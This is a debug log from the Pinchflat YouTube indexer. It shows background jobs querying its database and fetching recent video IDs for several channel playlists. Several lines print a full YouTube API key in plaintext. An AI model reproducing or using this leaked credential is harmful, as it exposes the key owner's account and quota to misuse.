{"args":{"id":30},"id":5268378,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120963,"event":"job:stop","queue_time":20211645,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.522 [info] {"args":{"id":8},"id":5268379,"meta":{},"system_time":1791584121522157651,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.522 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:15:21.522 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.522 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:21.522 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.522 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:15:21.522 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.522 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:21.659 [debug] QUERY OK source="media_items" db=0.6ms idle=135.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:15:21.659 [debug] QUERY OK source="media_items" db=0.3ms idle=137.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:15:21.660 [debug] QUERY OK source="tasks" db=0.1ms idle=137.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268418, 8, ~U[2026-10-09 22:15:21Z], ~U[2026-10-09 22:15:21Z]] 17:15:21.660 [info] {"args":{"id":8},"id":5268379,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138588,"event":"job:stop","queue_time":20214039,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.667 [info] {"args":{"id":34},"id":5268380,"meta":{},"system_time":1791584121667139916,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:21.667 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:15:21.667 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.667 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:21.667 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.667 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:15:21.668 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:21.668 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:22.012 [debug] QUERY OK source="media_items" db=0.8ms idle=343.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:15:22.013 [debug] QUERY OK source="media_items" db=1.0ms idle=345.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:15:22.014 [debug] QUERY OK source="tasks" db=0.1ms idle=297.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268419, 34, ~U[2026-10-09 22:15:22Z], ~U[2026-10-09 22:15:22Z]] 17:15:22.014 [info] {"args":{"id":34},"id":5268380,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":347484,"event":"job:stop","queue_time":19352024,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.021 [info] {"args":{"id":33},"id":5268381,"meta":{},"system_time":1791584122021192578,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.021 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:15:22.021 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.021 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:22.021 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.021 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:15:22.022 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.022 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:22.254 [debug] QUERY OK source="media_items" db=0.5ms idle=232.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 17:15:22.255 [debug] QUERY OK source="media_items" db=0.5ms idle=233.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:15:22.256 [debug] QUERY OK source="tasks" db=0.1ms idle=234.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268420, 33, ~U[2026-10-09 22:15:22Z], ~U[2026-10-09 22:15:22Z]] 17:15:22.256 [info] {"args":{"id":33},"id":5268381,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":235522,"event":"job:stop","queue_time":18786178,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.263 [info] {"args":{"id":39},"id":5268382,"meta":{},"system_time":1791584122263223938,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:22.263 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:15:22.263 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.263 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:22.263 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.263 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:15:22.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:22.264 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:22.498 [debug] QUERY OK source="media_items" db=0.6ms idle=234.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 17:15:22.499 [debug] QUERY OK source="media_items" db=0.3ms idle=235.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:15:22.500 [debug] QUERY OK source="tasks" db=0.1ms idle=235.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268421, 39, ~U[2026-10-09 22:15:22Z], ~U[2026-10-09 22:15:22Z]] 